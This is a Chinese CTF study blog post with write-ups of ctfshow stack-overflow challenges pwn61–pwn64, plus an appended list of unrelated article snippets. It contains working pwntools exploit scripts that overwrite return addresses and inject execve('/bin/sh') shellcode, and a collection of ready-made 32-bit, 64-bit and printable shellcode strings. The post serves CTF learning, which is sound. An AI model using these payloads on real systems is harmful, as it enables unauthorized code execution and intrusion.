ctfshow刷题笔记—栈溢出—pwn61~pwn64
目录
前言
一、pwn61(输出了什么?)
二、pwn62(短了一点)
三、pwn63(又短了一点)
四、pwn64(有时候开启某种保护并不代表这条路不通)
五、一些shellcode
前言
这几道都是与shellcode有关的题,实在是不会写,还是试了试,记录一下,收集了一些shellcode。
一、pwn61(输出了什么?)
checksec 一下:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn61
[*] '/home/kali/桌面/ctfshoww/pwn61'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: PIE enabledStack: ExecutableRWX: Has RWX segments
Stripped: No
开了地址随机化。
现在先看一下main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v4; // [sp+0h] [bp-10h]@1__int64 v5; // [sp+8h] [bp-8h]@1v4 = 0LL;v5 = 0LL;setvbuf(_bss_start, 0LL, 1, 0LL);logo();puts("Welcome to CTFshow!");printf("What's this : [%p] ?\n", &v4, 0LL, 0LL);puts("Maybe it's useful ! But how to use it?");gets(&v4);return 0;
}
主要是打印logo信息,值得注意的是会输出一个地址,查看一下v4:
0x10+x08,我们写入shellcode以后,通过返回v4的地址取让程序执行shellcode
本地运行一下:
Welcome to CTFshow!
What's this : [0x7ffdb824c790] ?
Maybe it's useful ! But how to use it?
v4ar=0x7ffd9de01430
一开始我就是这样写的:
from pwn import *
context.log_level='debug'
context.arch='amd64'
p=remote("pwn.challenge.ctf.show",28164)
pad=b'a'*(0x10+0x8)
v4ar=0x7ffdb824c790
shellcode=asm(shellcraft.sh())
payload1=pad+p64(v4ar)+shellcode
p.sendline(payload1)
p.interactive()
发现打不通,似乎忽略了一些东西,于是去读了大佬们的文章。
遇到的一个问题是shellcode太长,超出了v4,v5的范围,这是为什么呢?
Shellcode 的长度通常会超过 v5 的空间(8 字节)。如果直接覆盖 v5,Shellcode 的部分内容可能会被截断。此外,leave ret 之后,程序可能会跳转到一个无效地址,导致崩溃。
去搜索了一下leave
等价于 mov rsp, rbp 和 pop rbp。
它将 rbp 的值赋给 rsp,从而恢复上一个栈帧的栈指针。
然后从栈上弹出 rbp 的值,恢复上一个栈帧的基指针。
所以我们把shellcode写在v5后面就是pad+b’a’*0x8的位置,因为还有一个返回地址的位置.
还有就是输出的地址是动态的,每次不一样。
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28297)
pad=0x10+8
shellcode = asm(shellcraft.sh())
p.recvuntil("What's this : [")
v5ar = eval(p.recvuntil(b"]",drop=True))
#drop=True是为去掉"]"
#eval()是将str数据转为整型数据
print(hex(v5ar))
payload=flat([cyclic(pad),v5ar+pad+8,shellcode])
p.sendline(payload)
p.interactive()

注意返回地址v5的地址加pad+8,不是填充字符。
二、pwn62(短了一点)
checksec和上一道题差不多:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn62
[*] '/home/kali/桌面/ctfshoww/pwn62'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: PIE enabledStack: ExecutableRWX: Has RWX segments
Stripped: No
也是地址随机化,提前运行的界面和上一道题差不多,会给一个地址。
拖进ida看一看。
看一下main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{FILE *v3; // rdi@1__int64 buf; // [sp+0h] [bp-10h]@1__int64 v6; // [sp+8h] [bp-8h]@1buf = 0LL;v6 = 0LL;v3 = _bss_start;setvbuf(_bss_start, 0LL, 1, 0LL);logo(v3, 0LL);puts("Welcome to CTFshow!");printf("What's this : [%p] ?\n", &buf, 0LL, 0LL);puts("Maybe it's useful ! But how to use it?");read(0, &buf, 0x38uLL);return 0;
}
看一下这个buf:
-0000000000000010 buf dq ?
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
0x10+0x8
这里的shellcode是有限制的。
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28295)
offset=0x10+0x8
p.recvuntil("[")
buf_ar=eval(p.recvuntil(b"]",drop=True))
print(hex(buf_ar))
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
payload=offset*b'a'+p64(buf_ar+offset+8)+shellcode
p.sendline(payload)
p.interactive()

三、pwn63(又短了一点)
checksec一下:
[*] You have the latest version of Pwntools (4.14.0)
[*] '/home/kali/桌面/ctfshoww/pwn63'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: PIE enabledStack: ExecutableRWX: Has RWX segments
Stripped: No
开了地址随机化,拖进ida看一看和上一道题有什么区别。
确实有一些变化:
puts("Maybe it's useful ! But how to use it?");read(0, &buf, 0x37uLL);
看一下buf
-0000000000000010 buf dq ?
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
0x10+0x8
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28222)
offset=0x10+0x8
p.recvuntil("[")
buf_ar=eval(p.recvuntil(b"]",drop=True))
print(hex(buf_ar))
shell=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
payload=offset*b'a'+p64(buf_ar+offset+8)+shell
p.sendline(payload)
p.interactive()

四、pwn64(有时候开启某种保护并不代表这条路不通)
有点意思,先checksec一下:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn64
[*] '/home/kali/桌面/ctfshoww/pwn64'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
Stripped: No
虽然开了栈不可执行,但是程序里有不一样的东西:
buf = mmap(0, 0x400u, 7, 34, 0, 0);
一开始我也不知道这是什么,查了一下:
mmap 是一个系统调用,用于创建一个内存映射区域。它通常用于以下场景:
·映射文件到内存,以便可以像访问内存一样访问文件内容。
·创建匿名内存区域,用于分配动态内存。
·共享内存,用于进程间通信。
根据之前学的知识,7(port参数)是可读可写的意思,所以,我们任然可以注入shellcode。
void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
0x400字节足够我们放下shellcode,总之试一试:
from pwn import *
p=remote("wn.challenge.ctf.show",28201)
shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()
打通之后快些ls,因为有定时器,如果想更长一点可以加一段shellcode,但是用处不大,因为我也不太会写shellcode,所以问了问人机了解了一下:
from pwn import *
p=remote("wn.challenge.ctf.show",28201)
alarm_close=asm("""mov eax,37xor ebx,ebxint 0x80
""",arch='i386')
shellcode=asm(shellcraft.sh())
payload=alarm_close+shellcode
p.sendline(payload)
p.interactive()

五、一些shellcode
关于shellcode我也不会写,所以去搜了一些shellcode,一般情况下还是能用的。
不可见:
32位段字节shellcode(21字节)
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64位较短的shellcode(23字节)
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
可见版本(由可见字符组成):
X64:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
32位:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
继续学习中......
相关文章:
ctfshow刷题笔记—栈溢出—pwn61~pwn64
目录 前言 一、pwn61(输出了什么?) 二、pwn62(短了一点) 三、pwn63(又短了一点) 四、pwn64(有时候开启某种保护并不代表这条路不通) 五、一些shellcode 前言 这几道都是与shellcode有关的题,实在是…...
java23种设计模式-责任链模式
责任链模式(Chain of Responsibility Pattern)学习笔记 编程相关书籍分享:https://blog.csdn.net/weixin_47763579/article/details/145855793 DeepSeek使用技巧pdf资料分享:https://blog.csdn.net/weixin_47763579/article/details/145884039 🌟 模式定义 责任链模式是…...
新一代跨境电商ERP系统:从订单到发货的全流程自动化管理
随着全球电商市场的持续扩张,跨境电商卖家面临着多平台运营、国际物流、税务合规等复杂挑战。如何高效整合订单、库存、物流和财务数据,实现从客户下单到商品交付的无缝衔接,成为企业降本增效的关键。Zoho Books作为一款专为跨境商家设计的智…...
苹果廉价机型 iPhone 16e 影像系统深度解析
【人像拍摄差异】 尽管iPhone 16e支持后期焦点调整功能,但用户无法像iPhone 16系列那样通过点击屏幕实时切换拍摄主体。前置摄像头同样缺失人像深度控制功能,不过TrueTone原彩闪光灯系统在前后摄均有保留。 很多人都高估了 iPhone 的安全性,查…...
hive 面试题
Hive基础概念 1.1 Hive是什么? 基于Hadoop的数据仓库工具,支持类SQL(HiveQL)查询,底层转换为MapReduce/Tez/Spark任务。 核心功能:数据ETL、查询、分析;定位:OLAP(分析…...
VScode在windows10上使用clang-format
用途:自动调整代码格式,如缩进等。 clang-format官方文档:ClangFormat — Clang 21.0.0git documentation 前提:有一个.clang-format文件 下载LLVM:https://github.com/llvm/llvm-project/releases,将可…...
AWS API Gateway灰度验证实现
在微服务架构中,灰度发布(金丝雀发布)是验证新版本稳定性的核心手段。通过将小部分流量(如 10%)导向新版本服务,可以在不影响整体系统的情况下快速发现问题。AWS API Gateway 原生支持流量按比例分配功能,无需复杂编码即可实现灰度验证。本文将详细解析其实现方法、最佳…...
【每日八股】MySQL篇(三):索引(上)
目录 MySQL 为什么使用 B 树来做索引,它的优势是什么?特性和定义B 树和 B 树的对比拓展:既然 B 树相较于 B 树优势如此之大,为什么 nosql 的 MongoDB 底层仍采用 B 树而不是 B 树? 使用 B 树做索引的优势补充ÿ…...
在Pycharm中将ui文件修改为py文件
在Pycharm中将ui文件修改为py文件 有些时候,我们需要把QTDesigner生成的.ui文件修改为.py文件 在一些教程中,通常使用cmd打开终端修改,或者是有一些人写了一些脚本来修改 这里我们可以使用pycharm来快速的修改 首先,我们在pyc…...
看视频学习方法总结
以下是提高教学视频吸收率的系统性方法,结合认知科学原理和实际学习场景,帮助您最大化学习效果: 一、观看前的黄金准备阶段 60秒快速扫描法 用1分钟快速浏览视频目录、章节标题和简介,建立知识框架。荷兰伊拉斯姆斯大学实验表明&…...
Matlab 大量接单
分享一个matlab接私活、兼职的平台 1、技术方向满足任一即可 2、技术要求 3、最后 技术方向满足即可 MATLAB:熟练掌握MATLAB编程语言,能够使用MATLAB进行数据处理、机器学习和深度学习等相关工作。 机器学习、深度学习、强化学习、仿真、复现、算法、…...
《深度剖析:生成对抗网络中生成器与判别器的高效协作之道》
在人工智能的前沿领域,生成对抗网络(GAN)以其独特的对抗学习机制,为数据生成和处理带来了革命性的变革。生成器与判别器作为GAN的核心组件,它们之间的协作效率直接决定了GAN在图像生成、数据增强、风格迁移等众多应用中…...
Android6到Android15版本新增的功能和api
Android6到Android15版本新增的功能和api 文章目录 Android6到Android15版本新增的功能和api一、前言二、Android6 后的版本迭代1、Android 6.0(Marshmallow,API 级别 23)新增功能重要 API 2、Android 7.0(Nougat,API …...
【现代Web布局与动画技术:卡片组件实战分享】
📱 现代Web布局与动画技术:卡片组件实战分享 🚀 引言 🌟 在过去的开发过程中,我们共同实现了一个功能丰富的卡片组件,它不仅美观,还具有交互性和响应式设计。这篇文章将分享这个组件背后的技术…...
计算机网络之传输层(传输层提供的服务)
一、可靠的数据传输 传输层提供可靠的数据传输服务,确保数据在传输过程中不丢失、不重复、不乱序,并且能够被正确接收。这通常通过面向连接的协议(如TCP)来实现,TCP通过确认、重传、序号等机制来保证数据传输的可靠性…...
FPGA开发,使用Deepseek V3还是R1(1):应用场景
以下都是Deepseek生成的答案 FPGA开发,使用Deepseek V3还是R1(1):应用场景 FPGA开发,使用Deepseek V3还是R1(2):V3和R1的区别 FPGA开发,使用Deepseek V3还是R1&#x…...
哈希表和STL —— unorderde_set/unordered_map【复习笔记】
1. 哈希表的相关概念 1.1 哈希表的定义 哈希表,又称为散列表,是根据关键字直接进行访问的数据结构。 它通过一个哈希函数(Hash Function),建立了一种关键字和存储地址间的直接映射关系,将每个关键字映射…...
计算机毕业设计SpringBoot+Vue.js体育馆使用预约平台(源码+文档+PPT+讲解)
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
42 session反序列化漏洞
参考资料:3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园 session文件上传漏洞利用原理 当在php.ini中设置session.upload_progress.enabled On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session…...
【Jenkins】个人向-Jenkinsfile如何写
官方参考:https://www.jenkins.io/doc/book/pipeline/syntax/ Pipeline Utility Steps 插件:https://birdbook.com.cn/ops/ci/jenkins/plugins/pipeline%20utility%20steps.html 常用环境变量 含义表达式备注params,传入参数传入参数params…...
基于FPGA的PID算法学习———实现PID比例控制算法
基于FPGA的PID算法学习 前言一、PID算法分析二、PID仿真分析1. PID代码2.PI代码3.P代码4.顶层5.测试文件6.仿真波形 总结 前言 学习内容:参考网站: PID算法控制 PID即:Proportional(比例)、Integral(积分&…...
Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动
一、前言说明 在2011版本的gb28181协议中,拉取视频流只要求udp方式,从2016开始要求新增支持tcp被动和tcp主动两种方式,udp理论上会丢包的,所以实际使用过程可能会出现画面花屏的情况,而tcp肯定不丢包,起码…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
React Native 开发环境搭建(全平台详解)
React Native 开发环境搭建(全平台详解) 在开始使用 React Native 开发移动应用之前,正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南,涵盖 macOS 和 Windows 平台的配置步骤,如何在 Android 和 iOS…...
.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...
相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了: 这一篇我们开始讲: 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下: 一、场景操作步骤 操作步…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
深度学习习题2
1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...
JS设计模式(4):观察者模式
JS设计模式(4):观察者模式 一、引入 在开发中,我们经常会遇到这样的场景:一个对象的状态变化需要自动通知其他对象,比如: 电商平台中,商品库存变化时需要通知所有订阅该商品的用户;新闻网站中࿰…...
